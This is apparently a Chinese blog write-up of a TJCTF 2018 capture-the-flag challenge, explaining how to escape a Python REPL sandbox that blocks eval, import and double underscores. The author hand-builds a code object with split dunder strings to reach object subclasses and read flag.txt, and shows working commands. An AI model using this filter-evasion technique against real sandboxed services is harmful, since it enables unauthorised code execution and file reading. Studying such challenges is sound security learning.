今天@AD1024大佬在群里分享了个有趣的CTF题(nc problem1.tjctf.org 8006
),是关于Python沙箱逃逸的。dalao原意是为了吐槽flag在的文件就是flag.txt,不过咱研究了下这沙箱逃逸,似乎有点不一般。eval、exer、open这类的函数肯定是屏蔽了,关键是它不仅屏蔽了import,双下划线都不给用。而且最骚的是,这还直接是REPL环境!ROT13的套路也没救了。
整理下思路,竟然要读文件,file类一般来说是跑不了了。然而由于双下划线被屏蔽了,所以从object类往下顺的思路也行不通了。不过不急,我们可以……
Google了下,找到了一篇文章《Bypassing a python sandbox by abusing code objects》。竟然从code对象入手,真是角度刁钻。下面来看看具体的操作。首先在自己的repl里创建个函数:
def get_classes(): return [].__class__.__bases__[0].__subclasses__()
然后dir一下func_code:
>>> dir(get_classes.__code__) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
可以看到,这些co_开头的就是code构造函数需要的参数,那咱朴实点,就全部打印呗。
co_argcount: 0
co_cellvars: ()
co_code: ‘g\x00\x00j\x00\x00j\x01\x00d\x01\x00\x19j\x02\x00\x83\x00\x00S’
co_consts: (None, 0)
co_filename: ‘<stdio>’
co_firstlineno: 1
co_flags: 67
co_freevars: ()
co_lnotab: ‘\x00\x01’
co_name: ‘get_classes’
co_names: (‘__class__’, ‘__bases__’, ‘__subclasses__’)
co_nlocals: 0
co_stacksize: 2
co_varnames: ()
于是我们就可以开始操作了。
>>> f = lambda :0 >>> function = type(f) >>> code = type(f.func_code)
然后就可以构造code对象了。help(code)之后按着之前print出来的东西填。
code_obj = code(0, 0, 2, 67, 'g\x00\x00j\x00\x00j\x01\x00d\x01\x00\x19j\x02\x00\x83\x00\x00S', (None, 0), ('_''_class_''_', '_''_bases_''_', '_''_subclasses_''_'), (), '<stdin>', 'get_classes', 1, '\x00\x01', (), ()) get_classes = function(code_obj, globals(), None, None, None)
这里要注意下,几个双下划线都要分开来写。接下来就是固定套路了。
get_classes()[40]('./flag.txt').read()
后记
不搜不知道,一搜发现这就是TJCTF 2018的题。按官网介绍,TJCTF面向的是高中生,妈耶,美国的高中生都是怪物吗?!
评论